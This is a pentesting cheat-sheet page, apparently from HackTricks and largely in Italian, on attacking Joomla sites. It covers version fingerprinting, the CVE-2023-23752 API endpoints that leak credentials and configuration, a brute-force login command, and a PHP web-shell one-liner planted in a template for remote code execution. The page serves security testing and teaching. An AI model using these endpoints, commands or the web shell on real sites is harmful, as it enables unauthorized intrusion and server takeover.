Joomla

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Joomla Statistics

Joomla raccoglie alcune statistiche di utilizzo anonime come la suddivisione delle versioni di Joomla, PHP e dei sistemi operativi del server in uso nelle installazioni di Joomla. Questi dati possono essere interrogati tramite il loro API pubblico.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeration

Discovery/Footprinting

• Controlla il meta

curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />

• robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]

• README.txt

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versione

• In /administrator/manifests/files/joomla.xml puoi vedere la versione.

• In /language/en-GB/en-GB.xml puoi ottenere la versione di Joomla.

• In plugins/system/cache/cache.xml puoi vedere una versione approssimativa.

Automatic

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - La metodologia di pentesting web è una sezione sui scanner CMS che possono scansionare Joomla.

Divulgazione di informazioni non autenticata tramite API:

Le versioni da 4.0.0 a 4.2.7 sono vulnerabili a divulgazione di informazioni non autenticata (CVE-2023-23752) che restituirà credenziali e altre informazioni.

• Utenti: http://<host>/api/v1/users?public=true

• File di configurazione: http://<host>/api/index.php/v1/config/application?public=true

Modulo MSF: scanner/http/joomla_api_improper_access_checks o script ruby: 51334

Brute-Force

Puoi utilizzare questo script per tentare di forzare l'accesso al login.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Se sei riuscito a ottenere credenziali admin, puoi RCE all'interno di esso aggiungendo un frammento di codice PHP per ottenere RCE. Possiamo farlo personalizzando un template.

1. Clicca su Templates in basso a sinistra sotto Configuration per aprire il menu dei template.

2. Clicca su un nome di template. Scegliamo protostar sotto l'intestazione della colonna Template. Questo ci porterà alla pagina Templates: Customise.

3. Infine, puoi cliccare su una pagina per aprire il sorgente della pagina. Scegliamo la pagina error.php. Aggiungeremo un PHP one-liner per ottenere l'esecuzione del codice come segue:

4. system($_GET['cmd']);

5. Salva & Chiudi

6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

Da XSS a RCE

• JoomSploit: Script di sfruttamento Joomla che eleva XSS a RCE o altre vulnerabilità critiche. Per ulteriori informazioni controlla questo post. Fornisce supporto per le versioni Joomla 5.X.X, 4.X.X e 3.X.X, e consente di:

• Privilegi di Escalation: Crea un utente in Joomla.

• (RCE) Modifica Template Integrati: Modifica un Template Integrato in Joomla.

• (Custom) Sfruttamenti Personalizzati: Sfruttamenti Personalizzati per Plugin Joomla di Terze Parti.

Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.